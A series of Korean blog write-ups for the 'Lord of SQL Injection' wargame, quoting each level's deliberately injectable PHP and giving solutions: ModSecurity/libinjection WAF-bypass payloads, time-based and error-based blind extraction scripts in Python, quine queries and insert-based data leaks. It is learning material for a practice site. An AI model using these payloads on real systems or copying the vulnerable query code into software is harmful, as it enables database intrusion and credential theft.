728x90
<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_death where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("death");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>

ModSecurity(웹 방화벽,WAF) 우회 문제이다.

id가 admin이어야 풀린다.

답: ?id='<@ or id=0x61646d696e%23

왜 <@를 쓰는지는 cthulhu 문제 풀이에 있다. 

https://dbgdbg.tistory.com/entry/cthulhu

 

cthulhu

query : {$query}"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("cthulhu"); highlight_file(__FILE__);?>ModSecurity는 WAF(웹방화벽)이다. 이를 우회하는 문제다.https://github.com/SpiderLabs/owasp-modsecurity

dbgdbg.tistory.com

admin이 필터링되기 때문에 0x61646d696e를 사용한다.

admin=char(97,100,109,105,110)으로 대체 가능하다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

cyclops  (0) 2023.01.04
godzilla  (0) 2023.01.04
cthulhu  (0) 2023.01.04
alien  (0) 2023.01.04
zombie  (0) 2023.01.03
728x90
<?php
  include "./welcome.php";
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\(\)|admin/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_cthulhu where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("cthulhu");
  highlight_file(__FILE__);
?>

ModSecurity는 WAF(웹방화벽)이다. 이를 우회하는 문제다.

https://github.com/SpiderLabs/owasp-modsecurity-crs/issues/1181

 

Bypass the latest CRS v3.1.0 rules of SQL injection · Issue #1181 · SpiderLabs/owasp-modsecurity-crs

Type of Issue False Negative Description Per #1167, I wanna raise more FNs in this thread. Before getting into other FNs, I want to give out more information to #1167 so as to help the maintainers ...

github.com

위 링크에 접속하면 우회기법들이 있다. 이 문제엔 paranoia level 1 수준의 웹 방화벽이 설정되어 있어서 위 링크의 PL1 우회기법들을 봤는데 뭔진 잘 모르겠다. 문법이 이해가 안 간다. PL2 우회기법들 중에 하나를 골라서 테스트해 봤다.

  • -1'<@=1 OR {a 1}=1 OR '

인데 조금 변형하니 통과했다.

답: ?id='<@ or 1%23

@variable는 session-specific user-defined variable의 변수선언에 사용된다고 한다. 자세한 건 아래 링크에 예시까지 잘 나와있다.

https://stackoverflow.com/questions/1009954/mysql-variable-vs-variable-whats-the-difference

 

MySQL: @variable vs. variable. What's the difference?

In another question I posted someone told me that there is a difference between: @variable and: variable in MySQL. He also mentioned how MSSQL has batch scope and MySQL has session scope. Can s...

stackoverflow.com

MySQL에서 테스트해보면 select @;은 NULL을 반환한다. 마찬가지로 select  ''<@;도 NULL을 반환한다.

우선 DB가 MySQL의 경우에 <@를 libinjection에서 처리를 잘 못한다고 한다. 다른 DB에서는 해당 공격이 잘 안 먹힌다고 한다.

참고로 libinjection이란 SQL Injection을 탐지하는 C 기반의 오픈소스 라이브러리다.

https://portswigger.net/daily-swig/libinjections-sql-injection-defenses-cracked

 

Libinjection’s SQL injection defenses cracked

Project maintainers confirm that they intend to address filter bypass vulnerabilities

portswigger.net

위 링크에서 말하길 ModSecurity는 detectSQLi 연산자를 통해 libinjection을 사용한다고 한다. detectSQLi 연산자는 SQL Injection 데이터가 감지되면 참을 반환한다고 한다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

godzilla  (0) 2023.01.04
death  (0) 2023.01.04
alien  (0) 2023.01.04
zombie  (0) 2023.01.03
ouroboros  (0) 2023.01.03
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/admin|and|or|if|coalesce|case|_|\.|prob|time/i', $_GET['no'])) exit("No Hack ~_~");
  $query = "select id from prob_alien where no={$_GET[no]}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $query2 = "select id from prob_alien where no='{$_GET[no]}'";
  echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
  if($_GET['no']){
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] !== "admin") exit("sandbox1");
    $r = mysqli_fetch_array(mysqli_query($db,$query));
    if($r['id'] === "admin") exit("sandbox2");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") exit("sandbox");
    $r = mysqli_fetch_array(mysqli_query($db,$query2));
    if($r['id'] === "admin") solve("alien");
  }
  highlight_file(__FILE__);
?>

query와 query2의 차이는 no의 값에 '가 붙냐 마냐의 차이다.

내가 no에 전달한 값이 query에서도 실행되어야 하고 query2에서도 실행되어야 한다.

no의 값이 99 union select 1 %23' union select 2 %23라고 가정하면 쿼리는 다음과 같이 완성된다.

query: select (생략)  no=99 union select 1 #' union select 2 #;

query2: select (생략) no='99 union select 1 #' union select 2 #';

query는 빨간 글자들은 주석처리되어 앞의 union select 1까지만 실행된다. 참고로 no=99인 데이터는 없다.

query2는 초록 글자는 ' ' 안에 존재하므로 문자열 취급된다. 참고로 #(한 줄 주석)도 ' '안에 존재하면 주석 역할을 잃고 문자 그 자체로 해석된다. 따라서 union select  2 #' 부분만 실행된다.

php코드의 하단엔 쿼리를 한 번씩 실행하며 결괏값을 admin과 비교한다.

admin -> not admin -> not admin -> admin 형태가 되어야 문제가 풀린다.

이때 생각해볼 수 있는 것이 시간 함수이다. 시간을 이용해 같은 쿼리문이라도 매초 쿼리의 결과가 달라지게 하는 것이다. 공격에 사용되는 시간 함수는 다음과 같다.

sleep(1): 1초 동안 정지, 반환값은 0.

now(): 현재 시간 초단위까지 출력. time은 필터링되기에 now 사용.

답은 다음과 같다.

답: ?no=99 union select concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=0))),0x646d696e)%23' union select concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=1))),0x646d696e)%23

union select 앞부분만 떼어서 생각해 보자.

union select concat(lower(hex(10%2b(!sleep(1)%26%26now()%2=0))),0x646d696e)

먼저 괄호 가장 안에 있는 !sleep(1)&&now()%2=0을 보자.

sleep() 함수는 반환값이 0이기에 !연산을 하면 1로 변환된다. (!: 논리 not 연산자)

now()%2=0은 현재 시간이 짝수 초일 때는 참이 되어 1 반환, 홀수 초일 때는 거짓이라 0을 반환한다.

둘을 논리곱연산(&&)을 하여 시간에 따라 0 또는 1이 되고 10에 더해진다. 그럼 결과는 10 또는 11이 될 것이다.

참고로, url에서 &은 url key를 여러 개 전달할 때 사용하는 예약 문자이므로 url 인코딩하여 문자 그 자체로 표현해야 한다.

마찬가지로 +는 띄어쓰기 역할의 예약 문자이므로 url 인코딩하여 전달해야 덧셈 역할을 할 수 있다.

다시 hex함수의 인자로 사용되어 10 또는 11의 16진수 값이 반환된다. 10은 'A', 11은 'B'가 반환된다.

다시 lower 함수의 인자로 전달되어 'A'는 'a'가 되고 'B'는 'b'가 된다.

그다음 concat 함수의 인자로 'a' 또는 'b'와 0x646d696e(='dmin')가 전달되어 문자열들이 합쳐진다. 결과적으로

'admin' 또는 'bdmin'이 완성된다.

참고로 'dmin'으로 대체하면 쿼리문에 이미 '가 존재하기에 문자열이 엉망이 되어 대체 불가능하다. 대신 "dmin"은 가능하다.

이제 if문들을 어떻게 통과하는지 생각해 보자.

첫 번째 union select는 query의 경우에 실행되어 실행될 때마다 1초 쉬고 다시 진행된다. 다시 진행될 때 홀수 초라면 'admin'이 완성되어 첫 번째 if문을 통과한다. 단, 짝수 초라면 'bdmin'이 반환되기에 홀수 초가 될 때까지 새로고침 해야 한다.

이어서 또 query가 실행되는데 1초를 또 쉬고 진행된다. 첫 번째 실행 시 홀수 초였기에 짝수 초가 되며 첫 번째 union select 실행 결과 'bdmin'이 완성되어 두 번째 if문을 통과한다.

세 번째 조건문부턴 query2가 실행되는데 그럼 두 번째 union select에 해당된다. 또 1초를 쉬면 홀수 초가 된다. 홀수 초일 때는 반환값은 'bdmin'이 되고 마지막 조건문에선 query2에서 1초 쉬어 짝수 초가 되고 두 번째 union select 결과 'admin'이 반환된다. 따라서 문제가 풀린다.

 

728x90

'Lord of SQL Injection' 카테고리의 다른 글

death  (0) 2023.01.04
cthulhu  (0) 2023.01.04
zombie  (0) 2023.01.03
ouroboros  (0) 2023.01.03
phantom  (0) 2023.01.03
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("zombie");
  if(preg_match('/rollup|join|ace|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_zombie where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("zombie");
  highlight_file(__FILE__);
?>

ouroboros 문제와 해결 조건은 같다. 입력한 pw와 쿼리 실행 결과의 pw가 같아야한다. 단, replace가 사용불가능하다.

이번엔 information_schema.processlist 테이블을 이용해야한다.

information_schema.processlist 테이블을 보면 info 칼럼에 실행중인 쿼리문이 나온다.

문제를 풀기에 앞서 ?pw=' union select user()%23 을 입력하면 현재 user를 알 수 있다. php 코드에도 dbconnect("zombie")를 보아 유추는 할 수 있지만 확실하게 하기 위해 user가 zombie라는 것을 확인했다. user는 where절에 user='zombie' 형태로 사용한다.

답: ?pw=' union select substr(info,38,88) from information_schema.processlist where user='zombie

이렇게 입력하면 아래와 같은 쿼리가 실행되며 전체 쿼리문이 processlist 테이블에 저장될 것이다. 

select pw from prob_zombie where pw= '' union select substr(info,38,88) from information_schema.processlist where user='zombie'

substr 함수를 사용해 ' union부터 zombie까지를 추출한다. 그 결과 내가 pw로 전달한 값인 ' union select substr(info,38,88) from information_schema.processlist where user='zombie 와 일치하여 문제가 해결된다.

내가 입력한 pw값과 쿼리 실행결과 출력되는 값이 일치하게 된다. substr 함수 때문에 띄워쓰기를 주의해야한다. 띄워쓸거면 substr의 세번째 인자를 수정해야한다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

cthulhu  (0) 2023.01.04
alien  (0) 2023.01.04
ouroboros  (0) 2023.01.03
phantom  (0) 2023.01.03
frankenstein  (2) 2023.01.02
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|rollup|join|@/i', $_GET['pw'])) exit("No Hack ~_~");
  $query = "select pw from prob_ouroboros where pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['pw']) echo "<h2>Pw : {$result[pw]}</h2>";
  if(($result['pw']) && ($result['pw'] === $_GET['pw'])) solve("ouroboros");
  highlight_file(__FILE__);
?>

이 문제는 내가 입력한 pw 값과 쿼리 실행 결과 pw 값이 같으면 풀린다. 

어떤 id에 해당하는 pw가 필요한 것도 아니다. 또 db에 무슨 pw가 있는지 알 수도 없다.

이 문제는 콰인을 이용해야 한다.

콰인이란 입력 없이 자기 자신의 소스 코드를 출력하는 프로그램이다. 

내가 말한 콰인 쿼리는 쿼리가 자기 자신을 출력하는 쿼리를 말한 것이다.

콰인 쿼리를 이용하면 쿼리 실행결과 pw로 입력한 쿼리가 출력되어 $result['pw']와 $_GET['pw']가 같게 된다.

우선 콰인 쿼리의 기본 형태는 다음과 같다. 

select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")');

위 구문을 이해하는데 알아야 될 것들이 있다.

char(34): "
char(39): '
char(36): =
replace('문자(열)','문자(열)','문자(열)'): 첫 번째 인자의 문자(열) 안에 두 번째 인자 문자(열)가 있으면 세 번째 인자 문자(열)로 치환하는 것이다.

먼저 녹색 replace 문이 실행된다. 녹색 select ~문자열 내부의 "(char(34))를 '(char(39))로 치환한다. 그 결과

select replace(replace("$",char(34),char(39)),char(36),"$") 에서

select replace(replace('$',char(34),char(39)),char(36),'$') 이 된다.  

다음으로 빨간 replace 문이 실행된다. 이번엔 $(char(36)) 문자를 마지막에 있는 빨간색 select ~ 문자열로 치환한다.

select replace(replace('$',char(34),char(39)),char(36),'$') 에서

select replace(replace('select replace(replace("$",char(34),char(39)),char(36),"$")',char(34),char(39)),char(36),'select replace(replace("$",char(34),char(39)),char(36),"$")') 가 된다.

입력한 쿼리문과 출력문이 일치한다. 이를 기반으로 살을 조금만 붙이면 된다. 답은 다음과 같다. 

?pw='union select replace(replace('"union select replace(replace("$",char(34),char(39)),char(36),"$")%23',char(34),char(39)),char(36),'"union select replace(replace("$",char(34),char(39)),char(36),"$")%23')%23

말은 쉽지만 계속 보면 눈이 아프다. %23은 #(mysql의 한 줄주석)을 url 인코딩한 값이다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

alien  (0) 2023.01.04
zombie  (0) 2023.01.03
phantom  (0) 2023.01.03
frankenstein  (2) 2023.01.02
blue_dragon  (0) 2023.01.02
728x90
ip email
127.0.0.1 ************
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect("phantom");

  if($_GET['joinmail']){
    if(preg_match('/duplicate/i', $_GET['joinmail'])) exit("nice try");
    $query = "insert into prob_phantom values(0,'{$_SERVER[REMOTE_ADDR]}','{$_GET[joinmail]}')";
    mysqli_query($db,$query);
    echo "<hr>query : <strong>{$query}</strong><hr>";
  }

  $rows = mysqli_query($db,"select no,ip,email from prob_phantom where no=1 or ip='{$_SERVER[REMOTE_ADDR]}'");
  echo "<table border=1><tr><th>ip</th><th>email</th></tr>";
    while(($result = mysqli_fetch_array($rows))){
    if($result['no'] == 1) $result['email'] = "**************";
    echo "<tr><td>{$result[ip]}</td><td>".htmlentities($result[email])."</td></tr>";
  }
  echo "</table>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_phantom where no=1 and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])){ mysqli_query($db,"delete from prob_phantom where no != 1"); solve("phantom"); }
  highlight_file(__FILE__);
?>​

 

우선 no=0, 내 공인 ip, joinmail 값을 삽입한다.

그 후 no=1 또는 내 공인 ip인 행들을 조회하는데 no=1인 행은 email을 ************로 출력한다.

처음 상단에 출력되는 127.0.0.1과 *************이 no=1에 해당하는 ip와 email이며 이 email을 알아내야 풀린다.

insert 부분을 조작하여 joinemail에서 no=1인 email을 조회하여 삽입할 수 있다.

답: ?joinmail=abc'),(0,'공인 ip',(select email from prob_phantom as b where no=1))%23

먼저 insert into 테이블 values(1,ip1,email1),(2,ip2,email2);  형식으로 여러 행의 값들을 한 번에 삽입가능하다.

select문의 from 뒤에 as b로 테이블 이름을 재명명한다. b는 임의의 값이며 as b가 없으면 

ERROR 1093 (HY000): You can't specify target table 'prob_phantom' for update in FROM clause 이런 에러가 뜰 것이다.

insert 대상 테이블인 prob_phantom을 내부 쿼리에서 select 대상 테이블로 사용 불가능해서 뜨는것 같다.

그래서 as를 이용해 테이블 이름을 바꿔줘야한다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

zombie  (0) 2023.01.03
ouroboros  (0) 2023.01.03
frankenstein  (2) 2023.01.02
blue_dragon  (0) 2023.01.02
red_dragon  (0) 2023.01.02
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(|\)|union/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_frankenstein where id='frankenstein' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit("error");

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_frankenstein where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("frankenstein");
  highlight_file(__FILE__);
?>

괄호가 필터링된다. 게다가 union select도 할 수 없다. 그래서  이 문제는 답을 참고했다.

mysql에서는 9e307*N 으로 표현되는 값은 표현가능한 범위를 넘어서서 에러를 반환한다.

괄호를 사용할 수 없기에 if문 대신 case when then 구문을 이용한다. 조건식에 like 연산자를 사용한다. 

괄호를 사용할 수 없기에 비밀번호 길이를 따로 구할 수도 없다. 따라서 바로 pw를 구한다.

like 연산자에서 %는 문자(열)을 의미하고, _는 문자 한 개를 의미한다.

ex) 'abcde' like 'ab%' -> 1
ex) 'abcde' like 'ab_' -> 0
ex) 'abcde' like 'e%' -> 0

코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php'
cookie={'PHPSESSID':'자신의 세션id'}
ch='0123456789abcdefghijklmnopqrstuvwxyz_'

#0dc4efbb
def find_pw():
    pw=''
    while True:
        chk=False
        for i in ch:
            r=requests.get(url+"?pw=' or id='admin' and case when pw like '{}%25' then 9e307*2 else 0 end%23".format(pw+i),cookies=cookie)
            if '<br>error' in r.text:
                pw+=i
                chk=True
                break
        if chk==False:
            break
    print(pw)
    
find_pw()

 참고로 ch에 소문자 대신 대문자를 넣거나 대문자를 추가해도 의미는 없다. 왜냐하면 mysql에서 like 뒤에 대문자를 넣든 소문자를 넣든 똑같이 취급한다. 즉 구분이 안된다. 따라서 알파벳은 대문자인 경우도 고려해야 하지만 los의 모든 답은 소문자였기에 소문자를 대입하니 통과한다.

답: ?pw=0dc4efbb

728x90

'Lord of SQL Injection' 카테고리의 다른 글

ouroboros  (0) 2023.01.03
phantom  (0) 2023.01.03
blue_dragon  (0) 2023.01.02
red_dragon  (0) 2023.01.02
green_dragon  (2) 2023.01.02
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>";

  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
  highlight_file(__FILE__);
?>

처음에 입력값을 필터링하고 나서 쿼리를 실행 후 다시 입력값을 필터링한다.

두 번째 필터링은 '와 \ 문자를 필터링해서 뚫기 힘들다. 처음에 입력값을 필터링한 후 쿼리를 실행한다는 점에 주목하자. 

Time Based SQL Injection이 가능하다.

참고로 두 번째 조건에 \\\는 오타인 거 같다. \\가 '\'문자를 이스케이프 처리한 것이기 때문에 \\가 맞다고 본다.

사용한 코드는 다음과 같다.

import time
url='https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php'
cookie={'PHPSESSID':'자신의 세션 id'}
HEX='0123456789ABCDEF'

#16
def find_pw_len():
    pw_len=1
    while True:
        start=time.time()
        r=requests.get(url+"?id=admin' and if(length(hex(pw))={},sleep(1),0)%23".format(pw_len),cookies=cookie)
        end=time.time()
        
        if end-start>1:
            return pw_len
        else:
            pw_len+=1

#d948b8a0
def find_pw():
    pw_len=find_pw_len()
    tmp=''
    for i in range(1,pw_len+1):
        for j in HEX:
            start=time.time()
            r=requests.get(url+"?id=admin' and if(substr(hex(pw),{},1)='{}',sleep(1),0)%23".format(i,j),cookies=cookie)
            end=time.time()
            if end-start>1:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end='')
                    tmp=''
                break
                        
find_pw()

답: ?pw=d948b8a0

728x90

'Lord of SQL Injection' 카테고리의 다른 글

phantom  (0) 2023.01.03
frankenstein  (2) 2023.01.02
red_dragon  (0) 2023.01.02
green_dragon  (2) 2023.01.02
evil_wizard  (0) 2023.01.02
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\./i', $_GET['id'])) exit("No Hack ~_~");
  if(strlen($_GET['id']) > 7) exit("too long string");
  $no = is_numeric($_GET['no']) ? $_GET['no'] : 1;
  $query = "select id from prob_red_dragon where id='{$_GET['id']}' and no={$no}";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) echo "<h2>Hello {$result['id']}</h2>";

  $query = "select no from prob_red_dragon where id='admin'"; // if you think challenge got wrong, look column name again.
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['no'] === $_GET['no']) solve("red_dragon");
  highlight_file(__FILE__);
?>

id의 길이는 7 이하이며 no는 숫자만 가능하다. 문자가 섞이면 no는 1이 된다. 

?id='||no>%23&no=%0a자연수

%23은 url 인코딩 값이기에 php 코드 상에선 '#' 문자 하나로 해석된다. '#'는 sql에서 한 줄 주석이다. 따라서 id의 길이는 7이다. 참고로 띄어쓰기는 길이가 1로 해석되기에 모두 붙여 써야 한다.

no는 숫자만 된다고 했는데 %0a(개행문자=엔터='\n')는 써도 된다. 문자로 인식되지 않는다.

만약 자연수가 123이라면 쿼리를 웹 페이지에 출력하면 다음과 같다.

select id from prob_red_dragon where id=''||no>#' and no= 123

no= 와 123 사이에 한 칸 띄워진 형태로 보이는데 소스코드를 보면 다음과 같다.

select id from prob_red_dragon where id=''||no>#' and no=

123

개행이 적용되는 것을 알 수 있다.

빨간 글자 부분은 %23(#) 한 줄 주석에 의해 주석처리되며 %0a에 의해 no=까지만 주석처리된다. 123은 다음 줄이므로 주석처리 되지 않는다. 결국 다음과 같은 쿼리가 된다. 참고로 || 는 sql에서 or의 역할을 한다. 다만 or을 쓰면 orno형태가 되어 or 기능을 못한다. 그래서  띄어쓰기를 하려 하면 id 길이가 7이 넘게 된다. 그래서 ||를 써야 한다.

select id from prob_red_dragon where id=''||no>123

이를 기반으로 이진 탐색방식으로 no값을 추적하면 된다.

답: ?no=586482014

728x90

'Lord of SQL Injection' 카테고리의 다른 글

frankenstein  (2) 2023.01.02
blue_dragon  (0) 2023.01.02
green_dragon  (2) 2023.01.02
evil_wizard  (0) 2023.01.02
hell_fire  (2) 2023.01.01
728x90
<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~");
  if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']){
    if(preg_match('/prob|_|\.|\'|\"/i', $result['id'])) exit("No Hack ~_~");
    if(preg_match('/prob|_|\.|\'|\"/i', $result['pw'])) exit("No Hack ~_~");
    $query2 = "select id from prob_green_dragon where id='{$result[id]}' and pw='{$result[pw]}'";
    echo "<hr>query2 : <strong>{$query2}</strong><hr><br>";
    $result = mysqli_fetch_array(mysqli_query($db,$query2));
    if($result['id'] == "admin") solve("green_dragon");
  }
  highlight_file(__FILE__);
?>

처음 필터링한 후 쿼리를 실행하고 나온 결과 값으로 다시 필터링 후 쿼리를 실행한다. 

싱글쿼터가 막혀있어 우회가 쉽지 않다. 

이 문제는 백슬래쉬(\)를 사용한다. sql 뿐만 아니라 프로그래밍 언어에선 주로 특수문자를 문자 그 자체로 사용하고 싶을 때 

앞에 \를 붙인다. 그럼 기존의 역할을 하지 않고 문자 그 자체의 역할을 한다. 그리고 이것을 이스케이프 처리한다고 한다.

우선 답은 다음과 같다.

답: ?id=\&pw=union select 0x5c,0x756E696F6E2073656C6563742030783631363436643639366523%23

그럼 다음과 같이 쿼리가 완성된다.

query : select id,pw from prob_green_dragon where id='\' and pw='union select 0x5c,0x756E696F6E2073656C6563742030783631363436643639366523#'

이스케이프 처리를 하여 빨간 글자가 id가 된다.(정확히는 '는 이스케이프 처리 되어 문자 그 자체가 된다. 따라서 id는 ' and pw= 가 된다.)  뒤에 union select가 붙으면서 쿼리 실행결과 \(0x5c)와 union select

0x61646d696e#가 반환된다. 0x756~부분은 MySql에서 select hex('union select 0x61646d696e#');을 실행한 결과이다. 즉

union select 0x61646d696e#라는 문자열을 16진수로 표현한 것이다. 문자열을 전달해야 하는데 싱글쿼터가 막혔으므로  

 이를 우회하기 위해 16진수로 표현한 값을 전달한다. mysql에서는 16진수가 문자와 같은 역할을 한다.

ex)'admin'=0x61646d696e

query2 : select id from prob_green_dragon where id='\' and pw='union select 0x61646d696e#'

query 실행결과 query2가 완성된다. 이 경우도 이스케이프 처리로 id는 빨간 글자가 된다.(마찬가지로 정확히는 id가 ' and pw=가 된다.) 두 번째 쿼리도 첫 번째 쿼리에서 처리되는 방식과 같다. id가 ' and pw=인 행은 없기에 union select 결과 'admin'(=0x61646d696e)이 반환되어 통과한다.

728x90

'Lord of SQL Injection' 카테고리의 다른 글

blue_dragon  (0) 2023.01.02
red_dragon  (0) 2023.01.02
evil_wizard  (0) 2023.01.02
hell_fire  (2) 2023.01.01
dark_eyes  (0) 2023.01.01

+ Recent posts